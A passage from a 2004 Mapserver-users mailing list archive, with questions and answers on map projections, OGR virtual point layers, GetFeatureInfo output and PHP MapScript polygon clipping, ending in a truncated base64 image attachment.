002FED32C1256E92_= Content-Type: text/html; charset="US-ASCII"
Hi,

I have imported the cities from opengeodb (www.opengeodb.de) in a postgis table. Now I will show this cities in the german map. The german map is in projetion esri:31494 and the cities are given in geocoordinates, so I have used the projection proj=latlong. The target map is in proj=latlong. But the cities lying outside of germany, why ?

thanks
Steffen --=_alternative 002FED32C1256E92_=-- From fx.prunayre at oieau.fr Wed May 12 02:47:23 2004 From: fx.prunayre at oieau.fr (=?iso-8859-1?Q?Fran=E7ois-Xavier_Prunayre?=) Date: Wed, 12 May 2004 11:47:23 +0200 Subject: [Mapserver-users] Generating dynamic point layer References: <20040512072740.77E053974@sitemail.everyone.net> Message-ID: <02ce01c43806$2133d220$c6b239c2@NT2.oieau.fr> > I have an access table with the georeferencing positions (X, Y). > Could anybody please help me by sending some code to generate a point > layer dynamically from these information. Thanks for previous helps I > got from the group. You could do that using OGR virtual layer; Wiki page is http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData. Set DSN in odbc connection; for exemple French, then Ovf file look like this : ODBC:French,STATIONS STATIONS wkbPoint where X_LAMBERT_II_ET is X coordinates and Y_LAMBERT_II_ET is Y. Map file layer tag is : LAYER NAME OVF TYPE POINT CONNECTIONTYPE OGR CONNECTION "french.ovf" DATA "STATIONS" # the name of the OGRVrtLayer STATUS DEFAULT PROJECTION "init=epsg:27582" END DUMP TRUE CLASS TEMPLATE "ttt_query.html" SYMBOL "circle" SIZE 6 NAME "STATION_FR" OUTLINECOLOR 239 16 16 END END You could also use Mapscript. HTH Francois ----- Original Message ----- From: "Sam Choudry" To: Sent: Wednesday, May 12, 2004 9:27 AM Subject: [Mapserver-users] Generating dynamic point layer > Hello group, > > > Samuzzal > > > > _____________________________________________________________ > Linux.Net -->Open Source to everyone > Powered by Linare Corporation > http://www.linare.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > -- > Ce message a ete verifie par MailScanner pour des virus ou des polluriels et rien de suspect n'a ete trouve. > > Les donnees et renseignements contenus dans ce message sont personnels, confidentiels et prives. Toute publication, utilisation ou diffusion, meme partielle, doit etre autorisee. > > Any data and information contained in this electronic mail is personal, confidential and secret. Any total or partial publication, use or distribution must be authorized. -- Ce message a ete verifie par MailScanner pour des virus ou des polluriels et rien de suspect n'a ete trouve. Les donnees et renseignements contenus dans ce message sont personnels, confidentiels et prives. Toute publication, utilisation ou diffusion, meme partielle, doit etre autorisee. Any data and information contained in this electronic mail is personal, confidential and secret. Any total or partial publication, use or distribution must be authorized. From bartvde at xs4all.nl Wed May 12 03:12:27 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Wed, 12 May 2004 12:12:27 +0200 (CEST) Subject: [Mapserver-users] OGR shapefile and GetFeatureInfo Message-ID: <22866.212.238.227.182.1084356747.squirrel@webmail.xs4all.nl> Hi list, I tried using both OGR and Mapserver to open up a shapefile and to perform a GetFeatureInfo request on the respective WMS layer. The OGR layer has a lot of spaces in its result for floating point fields, is this intentional? Native Mapserver: Directie 1 90.10 90.96 96089.0100 1232716.0000 OGR: Directie 1 90.10 90.96 96089.0100 1232716.0000 Best regards, Bart From mapserver at gijs.com Wed May 12 04:34:45 2004 From: mapserver at gijs.com (Gijs Epping) Date: Wed, 12 May 2004 13:34:45 +0200 Subject: [Mapserver-users] Virtual polygon problem!! In-Reply-To: <22866.212.238.227.182.1084356747.squirrel@webmail.xs4all.nl> Message-ID: <000001c43815$203eed00$0600a8c0@at11> This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C43825.E3C7BD00 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Hello, We are creating a polygon with the following code function addPolygon($style) { global $gpoMap; $style->color->setRGB(255, 0, 255); $style->outlinecolor->setRGB(255, 0, 0); $shp = ms_newShapeObj($this->type); $line = ms_newLineObj(); $point = ms_newPointObj(); for($i=0; $icoordinates); $i++) { if($i==0) { $line->addXY($this->coordinates[$i]->x, $this->coordinates[$i]->y); } $line->addXY($this->coordinates[$i]->x, $this->coordinates[$i]->y); } $shp->add($line); return $shp; } after this the polygon is added with $layer->addFeature($shp); Now the weird thing is that if you zoom in, and a corner point from a polygon (a square for example) drops next to the extend of the map the square becomes I triangle. So the corner points next to the map extend are cut off. I did send some examples that you can see what is happening!!!! Is there a solution that it will draw the polygons correct Thanks in advance Gijs --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.678 / Virus Database: 440 - Release Date: 6-5-2004 ------=_NextPart_000_0001_01C43825.E3C7BD00 Content-Type: image/gif; name="polygon2.gif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="polygon2.gif" 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 